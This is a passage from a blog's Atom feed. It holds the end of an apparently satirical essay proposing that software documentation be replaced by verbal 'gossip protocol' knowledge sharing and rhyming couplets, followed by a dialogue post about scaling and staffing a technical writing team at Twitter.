machine.&lt;/p&gt;&#xA;&lt;p&gt;Often the use of these products is made in isolation from the programmer. In fact, the customer is interacting with the machine, not with the programmer who created the product. The programmer attempts to capture all potentially relevant knowledge about the product in the form of documentation, which is then provided to the customer alongside the final product. The customer is then faced with the daunting task of interacting with an inscrutable machine process, which does not (and can not) explain itself, while digging through a veritable mountain of information provided by the programmer, attempting to locate the one small bit of information that will help them accomplish their goals, and ultimately derive value from the product.&lt;/p&gt;&#xA;&lt;h1 id=&#34;the-problem-of-docs&#34;&gt;The Problem Of Docs&lt;/h1&gt;&#xA;&lt;p&gt;This model is at best anachronistic and at worst has an effect that is an extreme opposite of its intentions. A customer may spend a good deal of time attempting to read documentation, failing to find answers, and interacting with the process via a trial-and-error methodology. A customer may spend vast amounts of time interacting with the product without ever succeeding in deriving value from it, which results in a net loss of value to the customer.&lt;/p&gt;&#xA;&lt;p&gt;This model is &lt;em&gt;anachronistic&lt;/em&gt; in that it is based on an old and now outmoded method of communicating knowledge: two dimensional written language. Hearkening back to the earliest days of human history, regardless of medium—the clay tablets, papyrus sheets, and tortoise shells of 3500 BCE, the printing press of 1440 CE, or the hypertext web of 1989 CE—all such information delivery systems suffer from a number of major flaws.&lt;/p&gt;&#xA;&lt;p&gt;The first and most notable flaw is in the &lt;em&gt;maintenance&lt;/em&gt; and updating of this knowledge. While we have come a long way since the era of clay tablets and hand-copied illuminated texts, even modern systems for publishing documentation rely on a point-in-time capture of knowledge in the written word, which is then published and read by the customers of the product. At some point, the knowledge may change, requiring our diligent programmers and technical writers to manually locate all outdated knowledge, remove it, and replace it with current information, then publish once more. This snapshotting process means that the information will always be, at minimum, slightly out of date, and sometimes, grossly inaccurate.&lt;/p&gt;&#xA;&lt;p&gt;It is also very easy for even the most well-meaning of documentation authors to &amp;quot;miss a spot&amp;quot;, leaving outdated information in the final published product, especially in a large corpus. It is also theoretically impossible to include every piece of information, and a constant process of prioritization, filtering, and compromise must be made leading to a subset of relevant knowledge being published, but leaving out details that may be important to certain customers in certain situations, leaving those customers without a resource to discover that knowledge.&lt;/p&gt;&#xA;&lt;p&gt;The issue of &lt;em&gt;discoverability&lt;/em&gt; within what is published is another concern. Modern technologies like search engines, especially those backed by artificial intelligence, attempt to help the customer locate knowledge by formulating their questions in natural language. This technology is impressive, but ultimately it is just a very sophisticated version of the printed index located in the back of most textbooks and other non-fiction technical publications. These systems improve the speed with with a customer may dig through a corpus of knowledge, but do little to change the fundamental paradigm of the knowledge acquisition task. The customer is still digging through a haystack, looking for a needle, which may or may not be there, but these days, uses a fancy metal detector.&lt;/p&gt;&#xA;&lt;p&gt;Rarely do we stop to question this somewhat insane activity. Our current system is &lt;strong&gt;inefficient for both authors and readers&lt;/strong&gt;, and has large &lt;strong&gt;functional gaps&lt;/strong&gt; against its intended effect. Further, it is a strong indicator of what should be two very bright red flags; poorly written code, and suboptimal user experience (UX).&lt;/p&gt;&#xA;&lt;p&gt;Excessive documentation is a side effect of &lt;strong&gt;poorly written code&lt;/strong&gt;. Modern programming languages are just that: languages. They are a form of communication, and when done properly, code represents a form of communication not between a human and a machine, but between two humans, who are working together with a machine to accomplish a task. A machine speaks in 0s and 1s, numbers, and a constantly flowing stream of electrons. Computers are unable to comprehend words. Words—in the form of a programming &amp;quot;language&amp;quot;—must be compiled (i.e., translated) into machine language for the computer to be part of the conversation.&lt;/p&gt;&#xA;&lt;p&gt;Our programming languages are designed to reduce ambiguity, to allow our natural form of human expression (words, phrases, sentences, which capture semantic concepts), to be made concrete into a set of numeric instructions that our machine may process, unconscious of both their intended effects or actual outcomes.  Programming languages are optimized to be readable and expressive for humans, so that we may collaboratively work within the mental model of our natural human languages, while still being able to produce this machine output as a side effect of our conversations.&lt;/p&gt;&#xA;&lt;p&gt;Since programming languages are designed for humans, there is no reason they should not be easily readable, easily comprehended, and should be sufficient information for anyone who would like to know how a system works. The process of writing documentation is a meta-information process in which we explain what we&#39;ve already explained, without the benefit of the concision and clarity that the formal language of code provides. In essence we are undergoing multiple stages of translation, from our initial mental model, into a programming language, into machine code, and then into English (or some other natural language).&lt;/p&gt;&#xA;&lt;p&gt;At every stage of translation there is some information loss, and some lack of precision that occurs. At the level of translating from our mental model to code, it is the compromises we make from our ideal product constrained by the limitations of the machine. At the level of programming languages to machine code, it is the bugs we introduce and other unintended behaviors (or lack of behaviors), and at the documentation level, it is the verbose, informal, and incomplete explication of the aforementioned processes.&lt;/p&gt;&#xA;&lt;p&gt;This complexity is hurting us, not helping us. &lt;strong&gt;Code should be simple and readable&lt;/strong&gt;. Programming languages should be made more sophisticated so that they are closer in nature to our natural human languages, or closer in nature to other forms of abstract writing like mathematical notation. If the code was clear, concise, and written in a more natural language model, there would be little to no need for additional translation into documentation.&lt;/p&gt;&#xA;&lt;p&gt;Excessive documentation is also a side effect of &lt;strong&gt;poorly design user experiences (UX)&lt;/strong&gt;. Machine systems should be obvious in their behavior with clear instrumentation, transparent mechanisms, and intuitive interactions. Products that require explanation to be used are poor products.&lt;/p&gt;&#xA;&lt;p&gt;Consider something as simple, yet useful, as a hammer. A &lt;a href=&#34;https://en.wikipedia.org/wiki/Hammer&#34;&gt;hammer&lt;/a&gt; is a tool that humans have been using in some form or another since time immemorial. A heavy mass is lifted, moved with speed, translating its stored potential energy into kinetic energy, and the resulting kinetic energy brought to bear upon a focal point, transferring that energy into the subject. Whether it&#39;s a rock raised high above one&#39;s head and brought down onto coconut, or a modern metal-headed hammer swung precisely to hit a nail, the hammer augments our abilities as humans, providing power and firmness, where we are naturally weak and soft.&lt;/p&gt;&#xA;&lt;p&gt;The hammer is well adapted to its environment—powered by gravity and the innate forces of our physical world of mass, potential, and kinetic energies, and controlled by a simple hand-grasp motion and arm swing, that even a 1 day old human baby is capable of—a hammer needs no instruction manual. The user experience has been refined through thousands of years of trial and error, and the product incrementally improved from lifting heavy rocks, to ideally proportioned swingables made by melting iron and curing hardwoods, augmented now by modern materials like nylon and other advanced polymers. Could our software products be more like hammers? Why aren&#39;t they? I propose that the more documentation which is required to explain a product, the worse that product&#39;s design is.&lt;/p&gt;&#xA;&lt;p&gt;Ultimately, &lt;strong&gt;the need for documentation can be eliminated&lt;/strong&gt; by improving both our programming languages (and our use of them), and by improving the design of the products we build.&lt;/p&gt;&#xA;&lt;p&gt;To make a complete analysis of this, I think it is pertinent to call out one final example of the many &lt;strong&gt;unnecessary layers of abstraction&lt;/strong&gt; that are part of most modern software documentation systems. We author our documentation in Markdown, which is translated to HTML, which is read and translated to thoughts by the end users. Translation after translation, with transmission loss at each stage.&lt;/p&gt;&#xA;&lt;p&gt;Couldn&#39;t we remove some of this inefficiency by authoring directly in HTML (another machine-readable language meant to be readable, now deemed too unreadable)? Or even better, could we not update our web browsers to &lt;strong&gt;read and display Markdown directly&lt;/strong&gt;, without the need for translation, JavaScript libraries, or other additional complexities?&lt;/p&gt;&#xA;&lt;p&gt;There are so many areas for improvement in this process, yet we continually build more layers on top, rather than improving the existing structures. This tendency is a strong anti-pattern and such efforts should be discouraged.&lt;/p&gt;&#xA;&lt;h1 id=&#34;a-better-way-distributed-direct-communication&#34;&gt;A Better Way: Distributed Direct Communication&lt;/h1&gt;&#xA;&lt;p&gt;Rather than simply levelling a critique against our current modality, I would like propose an alternative that I think has a lot of strong advantages: &lt;strong&gt;Distributed Direct Communication&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Direct Communication (DC)&lt;/em&gt; involves the transference of knowledge from one human to another without intermediaries, using natural language. A good example of this which is common in today&#39;s workplace is the practice of &amp;quot;shoulder taps&amp;quot;, wherein a coworker who needs information simply taps the shoulder of their knowledgeable peer, and asks their question directly. The worker receives their reply and can carry on with their work immediately, with the exact knowledge they requested. These interactions are quick, with a minimal invest paid by both the information seeker and the information provider. The worker is unblocked immediately and can return to using the tool, and deriving value from it.&lt;/p&gt;&#xA;&lt;p&gt;This method is also nothing new. Orally transmitted knowledge is our oldest system of information retention and knowledge sharing. It has its roots in the storytelling traditions of primitive man, and continues on in many forms today, via cultural activities such as &lt;a href=&#34;https://genius.com/&#34;&gt;musical lyrics&lt;/a&gt;, &lt;a href=&#34;https://www.ted.com/talks&#34;&gt;TED Talks&lt;/a&gt;, and instructor-led classroom teaching. Many product organizations understand this value and have &lt;strong&gt;customer support&lt;/strong&gt; teams dedicated to fielding questions posed via a dizzying array of communication mediums; Twitter, Slack, Email, Facebook comments, phone calls, and in-person customer-service desks. These all share one common attribute, which is the use of natural language to understand the need of the customer and provide a very specific ad-hoc response that directly serves the customer&#39;s need.&lt;/p&gt;&#xA;&lt;p&gt;These systems, however, are still quite basic. Customer support is nascent in its development. There is little effort made beyond the simple transactional process of question and answer, to ensure that the customer has not only the knowledge they seek, but additional knowledge that they might need in the future. Imagine a database that served only one field of information per transaction, vs returning an entire row, or set of rows. This would be a very inefficient system, and would put all the burden on the querying client to associate multiple pieces of information together, or to group and aggregate. &lt;strong&gt;Insights that can only be derived through higher-order analysis are left to the intuition and synthesis powers of the learner&lt;/strong&gt;, and there is no way to reliably ensure that these insights are ever produced, or are accurate.&lt;/p&gt;&#xA;&lt;p&gt;Lacking a complete graph of knowledge, the customer is also unable to assist other customers with any knowledge they haven&#39;t personally acquired. Consider the model of &lt;em&gt;Distributed Version Control Systems (DVCS)&lt;/em&gt; like &lt;a href=&#34;https://git-scm.com/&#34;&gt;git&lt;/a&gt;, or &lt;a href=&#34;https://www.mercurial-scm.org/&#34;&gt;Mercurial&lt;/a&gt;, wherein each copy of the repository contains a full history of all changes, or said another way, a full graph of all related knowledge. There becomes &lt;strong&gt;no functional difference between a clone and the original&lt;/strong&gt; source. A clone may serve as a source of truth as easily as the master repository does. This improves the overall system resiliency, and can also majorly change the network communication patterns, allowing for a highly distributed graph, with nodes that are both server and client, allowing any node to &amp;quot;shoulder-tap&amp;quot; its nearest neighbor to get a full understanding of the system (or any individual part of it).&lt;/p&gt;&#xA;&lt;p&gt;Similarly, other &lt;a href=&#34;https://en.wikipedia.org/wiki/Peer-to-peer&#34;&gt;&lt;em&gt;Peer-To-Peer (P2P)&lt;/em&gt;&lt;/a&gt; protocols and systems share knowledge through a web of interconnected nodes, with no specific node being any more of an authority than the others. A &lt;a href=&#34;https://en.wikipedia.org/wiki/Gossip_protocol&#34;&gt;&lt;em&gt;gossip protocol&lt;/em&gt;&lt;/a&gt; can be employed which publishes every new piece of information to each of its neighbors, and then its neighbors publish to their neighbors, until every node in the system has the same knowledge.&lt;/p&gt;&#xA;&lt;p&gt;Could we not do the same with our human knowledge, using our natural language as our transmission mechanism?&lt;/p&gt;&#xA;&lt;p&gt;Consider an office of ten (10) programmers. One individual authors a new program, and in their head, holds the entire set of knowledge about it: a complete picture even beyond the well-written code, including the original vision, and what compromises were made during implementation. This individual can then explain it to the programmers sitting to either side of them. Once they have learned the information the original programmer may return to work. Now three (3) people in the office have a complete understanding of the code. The other two may then tell two (2) more, and so on, until every programmer in the office has a full understanding of the product. Each one only spending the amount of time required to explain it once to a small set of listeners, then immediately returning to work.&lt;/p&gt;&#xA;&lt;p&gt;At this point, &lt;strong&gt;documentation is entirely unnecessary&lt;/strong&gt;. The information is fully transmitted to all coworkers, with minimal time investment, and is fully replicated to all employees, allowing the group to lose or gain members without losing information. New members can be filled in verbally, with any of the existing members of the staff acting as mentor, requiring minimal on-boarding investment, allowing the new member to come up to speed quickly. As changes to this information occur, the change can be expressed once by the originating programmer, and distributed by a gossip-protocol-like transfer between members. These small micro-updates are concise and focused and require only negligible cost. Any time knowledge is missing, or forgotten, a simple shoulder-tap to any of their peers can refresh this information.&lt;/p&gt;&#xA;&lt;p&gt;Compare how this process works with current documentation practices: The original programmer creates the product, and then must spend significant amounts of time re-expressing the product in an alternate written form, likely leaving out some details. The written documentation is published somewhere passively, possibly with an alert to the other staff that there is new content available to read. Other staff continues working, deferring the information acquisition process until it is needed, causing them to block on their work. They then spend a large amount of time attempting to find the answer to their specific problem, searching through a large knowledge set, losing context from their original problem. If they don&#39;t find it, they must resort to verbal knowledge transference.&lt;/p&gt;&#xA;&lt;p&gt;However this &amp;quot;shoulder tap&amp;quot; is not efficient, because it&#39;s not a &lt;em&gt;first-class&lt;/em&gt; feature of the knowledge sharing process. The original programmer is the only person that reliably has all the knowledge, so they become the recipient of all &amp;quot;shoulder taps&amp;quot; instead of distributing that load to the rest of the engineering staff. They may end up with a large portion of their day consumed by such interruptions. To mitigate that, they then further interrupt their primary work to update the documentation to include the missing, inaccurate, or poorly expressed information.&lt;/p&gt;&#xA;&lt;p&gt;The time spent writing and reading documentation, and the time high-value individuals are being interrupted because they are the &lt;a href=&#34;https://en.wikipedia.org/wiki/Single_source_of_truth&#34;&gt;&lt;em&gt;single-source-of-truth&lt;/em&gt;&lt;/a&gt; could have been spent improving the readability of the code, or the design of the user experience to obviate the need for additional knowledge transmission. Unfortunately, they are unable to ever make such improvements because of the constant process of documentation updates they must partake in. As the product continues to develop this problem gets worse and worse, ultimately either halting all forward progress, or leaving customers of the product without vital information, and thus unable to derive value.&lt;/p&gt;&#xA;&lt;h1 id=&#34;does-it-scale&#34;&gt;Does It Scale?&lt;/h1&gt;&#xA;&lt;p&gt;An initial reaction to the above proposal may be that this system could never scale to the level that popular software products with millions of customers would need. Documentation may seem to be the only reasonable way to transmit knowledge to the masses (or perhaps some other 1-to-many knowledge capture tools like in-person classes, or video recordings). While scaling up to will always be a challenge, I propose that a &lt;em&gt;Distributed Direct Communication (DDC)&lt;/em&gt; system has &lt;strong&gt;better scaling performance&lt;/strong&gt; than existing documentation-focused methodologies.&lt;/p&gt;&#xA;&lt;p&gt;With a DDC-based system, every engineer holds a complete replica of information. This can be transferred to a dedicated staff of customer support engineers, who can function like a cache in modern computing infrastructure. This dedicated knowledge cache can serve orders of magnitude of customers inquiries. Frequent requests from specific individual can be identified, and that person can be scheduled for a full knowledge transfer via an in-person class.&lt;/p&gt;&#xA;&lt;p&gt;Once knowledgeable, that customer can serve as a &lt;em&gt;community support&lt;/em&gt; resource for other customers (similar to the &lt;a href=&#34;https://mvp.microsoft.com/en-us/&#34;&gt;Microsoft MVP&lt;/a&gt; program). Those customers can form affinity groups and share knowledge with one another, allowing the information to propagate outside of the paid product team, reducing inbound requests over time. A nice feature of this system is that it becomes &lt;em&gt;more efficient&lt;/em&gt; over time.&lt;/p&gt;&#xA;&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;Documentation as it stands is just too primitive; it is too much an invitation to make a mess of one&#39;s product and one&#39;s code. One can regard and appreciate the described direct communication practices as bridling its use. I do not claim that the practices mentioned are exhaustive in the sense that they will satisfy all needs, but whatever practices are suggested (e.g. verbal gossip protocol) they should satisfy the requirement that the customer experience is always a net gain, and that technical information is maintained in a helpful and manageable way.&lt;/p&gt;&#xA;&lt;p&gt;Humans have been using the system of &lt;strong&gt;tribal verbal knowledge&lt;/strong&gt; for eons... why does it need to change? Rather, it needs to &lt;em&gt;evolve&lt;/em&gt; to take advantage of our modern communication systems, and advancements in understanding of distributed systems.&lt;/p&gt;&#xA;&lt;p&gt;Finally, there is one critical optimization of of verbal communication has been a feature of tribal knowledge sharing since its inception, which is the use of &lt;em&gt;rhythmic speech&lt;/em&gt; and singing to facilitate understanding and retention. Whether it&#39;s the chanted mantras of Buddhist &lt;a href=&#34;https://en.wikipedia.org/wiki/Dharma_transmission&#34;&gt;dharma transmission&lt;/a&gt;, or the singing and dancing that is part of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Storytelling&#34;&gt;storytelling customs&lt;/a&gt; of ancient peoples in every culture, it has been proven that these techniques provide a massive improvement to the process of verbal knowledge transfer. For this reason, it is recommended that any real-life implementation of DDC consider using &lt;a href=&#34;https://en.wikipedia.org/wiki/Couplet&#34;&gt;&lt;em&gt;rhyming couplets&lt;/em&gt;&lt;/a&gt; as a basic underlying data structure.&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Scaling a TechDocs Team from 1 to 100 (Part 3)</title>
		<id>https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-3%29</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-3%29" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-3%29" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/scaling-a-techdocs-team-from-1-to-100-%28part-3%29" type="text/html"></link>
		<published>2018-01-10T00:00:00+00:00</published>
		<updated>2018-01-10T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;h2 id=&#34;further-discussion&#34;&gt;&lt;strong&gt;Further Discussion&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;While writing these articles, I asked my coworker Greg Poulos (&lt;a href=&#34;https://twitter.com/gregpoo&#34;&gt;@gregpoo&lt;/a&gt;) to take a pass at proofreading/editing. He had some good feedback and questions, which I thought I should tack onto the end of this series of posts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: This is the third article of a three-part series. The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/&#34;&gt;first part&lt;/a&gt; discusses strategy while the &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;second part&lt;/a&gt; explains how to grow a TechDocs team.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;This discussion will be formatted as a dialog, with Greg providing feedback on the previous material, and Troy responding.&lt;/em&gt;&#xA;*&lt;/p&gt;&#xA;&lt;h3 id=&#34;problems-with-mentorship&#34;&gt;Problems with Mentorship&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Greg:&lt;/strong&gt; This is really great! Very clear, straightforward explication of our approach to TechDocs. I feel like we can actually take some lessons away from this post for our own organization :-)&lt;/p&gt;&#xA;&lt;p&gt;The thing that struck me most was that this post doesn’t really mention the difficulties we’ve had in implementing the three-tier approach. In particular, I feel like we’ve had trouble at the Mentorship tier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Troy:&lt;/strong&gt; Excellent point! I agree that we really need to look at this as a vision for our team and examine how far we are from it. I think a lot of the difficulties we&#39;ve faced with the three tier approach are more related to our team size, and more specifically with our ratio of 1:750. Part of the idealism of this post is the notion that a TechDocs team grows with a company, so that you never experience the kind of excessive ratio imbalance we deal with here at Twitter.&lt;/p&gt;&#xA;&lt;p&gt;According to the blog post, we&#39;re expecting to be able to mentor three (3) teams per quarter. We&#39;ve done a great job of keeping up with that. Considering Twitter has hundreds of separate engineering teams, even when we meet that goal, it is hard to see the impact. That&#39;s why we focus on strategic projects that will have a force magnifying effect, and build our own success metrics around scoped impact.&lt;/p&gt;&#xA;&lt;p&gt;Regarding the problems we&#39;ve had with mentorship… They fall into three large categories of failure:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ownership:&lt;/strong&gt; Teams don&#39;t have a strong sense of ownership of their docs. We engage with the team, do some work for them, and they are happy to let us do the work, but then they don&#39;t follow-up to maintain and own their product docs long-term.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Prioritization:&lt;/strong&gt; Initial conversations go well, but we can never seem to get the team to prioritize the docs project. We assign work for them to do, but they don&#39;t do it. Overall very little accountability for this failure. No one ever explicitly says that the work won&#39;t be done, but it just keeps getting &amp;quot;put off&amp;quot;, despite our influence/nagging.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Poor ROI:&lt;/strong&gt; Teams feel that the &lt;em&gt;Return On Investment (ROI)&lt;/em&gt; of doing docs-related work is too low. They feel that the investment in terms of time/effort is too high, compared with the gains in customer experience/value. They explicitly walk away from doing docs work (even when guided by or in collaboration with the TechDocs team). The team leaves with a sense that it wasn&#39;t time well spent, and are less motivated to work on it again in the future, or maintain the work they did.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For each of those problems, there are solutions.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/#-assigning-a-documentation-dri-&#34;&gt;Docs DRI concept&lt;/a&gt; directly addresses ownership issues. Once the &lt;em&gt;Docs DRI&lt;/em&gt; role is assigned, that person can be an embedded documentation advocate, pushing back against prioritization failures, by regularly bringing up the need to do docs work during the team planning meetings.&lt;/p&gt;&#xA;&lt;p&gt;When we&#39;ve used &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/#-option-embedding-on-a-team-&#34;&gt;the embedded model&lt;/a&gt;, we become the &lt;em&gt;de facto&lt;/em&gt; Docs DRI for the team, and we&#39;ve had much better success that way. Another technique to combat prioritization failure is &lt;strong&gt;regular follow-up&lt;/strong&gt; on issues/tickets that relate to docs, instead of letting them go stale. This can be automated, or manually done by the TechDocs team (it may seem like boring grunt work, but is important organizational communication!).&lt;/p&gt;&#xA;&lt;p&gt;Regarding ROI and how working on docs is perceived by Engineering teams, the best approach is to lead with numbers. By performing before/after studies, you can &lt;strong&gt;prove the value of the work&lt;/strong&gt; done on docs. I&#39;ll follow-up soon with a blog post dedicated entirely to that. The important part here is discerning between &lt;em&gt;perceived&lt;/em&gt; lack of value vs &lt;em&gt;actual&lt;/em&gt; lack of value.&lt;/p&gt;&#xA;&lt;p&gt;In other words, it&#39;s certainly possible to spend a lot of time on docs and get nothing out of it. If that&#39;s happening, then that&#39;s a problem and should be fixed. If it&#39;s just a matter of Engineers and Engineering Managers &lt;em&gt;perceiving&lt;/em&gt; a low ROI, when actually the customer impact of docs work is entirely worth it, then it&#39;s up to the TechDocs team to prove the value of that work by quantifying that impact and showing up with numbers that will shift opinions.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Engineers respect numbers. Give them numbers!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;shouldnt-we-allocate-more-resources-to-writing-vs-mentorship&#34;&gt;Shouldn&#39;t We Allocate More Resources to Writing vs Mentorship?&lt;/h3&gt;&#xA;&lt;p&gt;**Greg: **I really enjoy the whole &amp;quot;&lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;How to Grow a TechDocs Team&lt;/a&gt;&amp;quot; section, and the specificity with which you go through what should change with each additional member. My main note here is that, at the largest levels of organization, I might push to focus more resources into &lt;em&gt;Writing&lt;/em&gt; and fewer into &lt;em&gt;Mentorship&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;E.g., if we had 20 TechDocs people at Twitter, I feel like we’d be better served to have 2 Mentors and 8 Writers rather than 5 Mentors and 5 Writers. Or maybe there could be more of a focus on crossover roles in the larger organization size — e.g., folks who are 75% &lt;a href=&#34;/tags/writethedocs/&#34; data-hyper-mention&gt;#WriteTheDocs&lt;/a&gt; and 25% Mentorship&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Troy:&lt;/strong&gt; I intentionally emphasized &lt;em&gt;Mentorship&lt;/em&gt; over &lt;em&gt;Writing&lt;/em&gt;, because I feel like it&#39;s always important (and perhaps increasingly important as a company grows) to encourage a &lt;strong&gt;culture of docs&lt;/strong&gt; in engineering teams.&lt;/p&gt;&#xA;&lt;p&gt;A company should never let the engineers feel like they can stop taking ownership for their own docs. I strongly feel that &lt;strong&gt;writing is a core skill and fundamental aspect of good engineering&lt;/strong&gt;. Within technology companies, tech-writing as a separate independent discipline is primarily meaningful as a quality boost for high-value information products.&lt;/p&gt;&#xA;&lt;p&gt;There is a danger with having more dedicated writers, which is that engineers may feel like they can specialize more and do less writing, since the TechDocs team has more capacity for it. That can cause a pendulum swing wherein technology gets created and a minimal TechDocs team is overwhelmed. This is assuming that the writer to engineer ratio is still in the 1:20 or 1:10 range. If it&#39;s closer to 1:1 or 1:5, then the writers &lt;em&gt;may&lt;/em&gt; be able to keep up, but maybe not.&lt;/p&gt;&#xA;&lt;p&gt;However, I also pessimistically believe that &lt;strong&gt;no tech company will ever value tech-writing equivalently to engineering&lt;/strong&gt;, which means that there will always be a large differential ratio between writers and engineers, at least an order of magnitude, if not two. Of course, if that ratio does fall into that 1:5 to 1:1 range, by all means, tech-writing should take full ownership of the docs and leave the engineers to crank out code (assuming they will still meet with writers as SMEs, which may take as much of their time as just writing basic docs anyway… sooo, maybe not very efficient anyway?).&lt;/p&gt;&#xA;&lt;p&gt;There is also a loss of resiliency when specializing vs generalizing. &lt;strong&gt;Many tech companies suffer high employee turnover rates&lt;/strong&gt;, and &lt;em&gt;reduction in force (RIF)&lt;/em&gt; events that eliminate staff who do not contribute directly to revenue generation. In such cases, imagine that you had a team with 10 dedicated writers, and a team of 20 dedicated engineers who did no writing. Suppose you lost headcount for both writers and engineers, but lost a greater percentage of writers, and ended up with say, 5 writers and 15 engineers. Since your engineers have not been working under a &lt;strong&gt;culture of docs&lt;/strong&gt; they won&#39;t naturally pick up the slack and start writing more, especially considering they just lost engineers and will need to increase their workload. Further, your team of writers will get quickly overwhelmed, without time for mentorship, and will be demotivated by their loss of staff. You may even lose the rest of those writers in such a situation.&lt;/p&gt;&#xA;&lt;p&gt;Now imagine that same situation, but 5 of those original 10 writers spent their time mentoring the 20 engineers on writing, and encouraging them to spend 25% of their time on writing. The engineers are now producing 75% of their max engineering output (15 engineers worth), and the writing output remains the same (because 25% of 20 engineers == 5 writers worth of output, plus the other 5 writers). &lt;strong&gt;This may seem like a loss of engineering productivity, but it&#39;s actually a gain in resiliency&lt;/strong&gt;. When the RIF comes and the TechDocs team is reduced to 5 and the eng team to 15, the engineering team can continue to produce 3.75 writer&#39;s worth of output, plus the 5 fulltime writers, leaving you with 8.75 writers and 11.25 engineers worth of output. That is a much more balanced portfolio.&lt;/p&gt;&#xA;&lt;p&gt;I&#39;m also implicitly prioritizing quantity of output over quality and long-term resiliency over short-term impact. &lt;strong&gt;That may not always be the right set of values&lt;/strong&gt;. Depending on the phase of the company, and the long-term and short-term goals of company, they may wish to focus on maximizing quality of writing on certain high-value topics. For example, a company that produces an API-driven product, when it is first building its market and attempting to rapidly acquire customers, should probably dedicate their full-time technical writers towards producing the highest possible quality of public-facing docs, since that&#39;s the &lt;em&gt;only&lt;/em&gt; interface the customers will have.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;I make some strong statements above, but please remember to take it with a grain of salt... all of this is entirely based on scaling a set of &lt;strong&gt;random assumptions&lt;/strong&gt; about potential productive output, with &lt;strong&gt;no real data&lt;/strong&gt; to support it. That&#39;s why I really want to measure real output via the &lt;a href=&#34;http://codewerdz.org/&#34;&gt;Codewerdz project&lt;/a&gt;. I want more legitimate numbers about both what engineers can/will do and what tech-writers can/will do.&lt;/p&gt;&#xA;</summary>
		<content type="html">&lt;h2 id=&#34;further-discussion&#34;&gt;&lt;strong&gt;Further Discussion&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;While writing these articles, I asked my coworker Greg Poulos (&lt;a href=&#34;https://twitter.com/gregpoo&#34;&gt;@gregpoo&lt;/a&gt;) to take a pass at proofreading/editing. He had some good feedback and questions, which I thought I should tack onto the end of this series of posts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;NOTE: This is the third article of a three-part series. The &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-1)/&#34;&gt;first part&lt;/a&gt; discusses strategy while the &lt;a href=&#34;/articles/scaling-a-techdocs-team-from-1-to-100-(part-2)/&#34;&gt;second part&lt;/a&gt; explains how to grow a TechDocs team.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;This discussion will be formatted as a dialog, with Greg providing feedback on the previous material, and Troy responding.&lt;/em&gt;&#xA;*&lt;/p&gt;&#xA;&lt;h3 id=&#34;problems-with-mentorship&#34;&gt;Problems with Mentorship&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;Greg:&lt;/strong&gt; This is really great! Very clear, straightforward explication of our approach to TechDocs. I feel like we can actually take some lessons away from this post for our own organization :-)&lt;/p&gt;&#xA;&lt;p&gt;The thing that struck me most was that this post doesn’t really mention the difficulties we’ve had in implementing the three-tier approach. In particular, I feel like we’ve had trouble at the Mentorship tier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Troy:&lt;/strong&gt; Excellent point! I agree that we really need to look at this as a vision for our team and examine how far we are from it. I think a lot of the difficulties we&#39;ve faced with the three tier approach are more related to our team size, and more specifically with our ratio of 1:750. Part of the idealism of this post is the notion that a TechDocs team grows with a company, so that you never experience the kind of excessive ratio imbalance we deal with here at Twitter.&lt;/p&gt;&#xA;&lt;p&gt;According to the blog post, we&#39;re expecting to be able to mentor three (3) teams per quarter. We&#39;ve done a great job of keeping up with that. Considering Twitter has hundreds of separate engineering teams, even when we meet that goal, it is hard to see the impact. That&#39;s why we focus on strategic projects that will have a force magnifying effect, and build our own success metrics around scoped impact.&lt;/p&gt;&#xA;&lt;p&gt;Regarding the problems we&#39;ve had with mentorship… They fall into three large categories of failure:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Ownership:&lt;/strong&gt; Teams don&#39;t have a strong sense of ownership of their docs. We engage with the team, do some work for them, and they 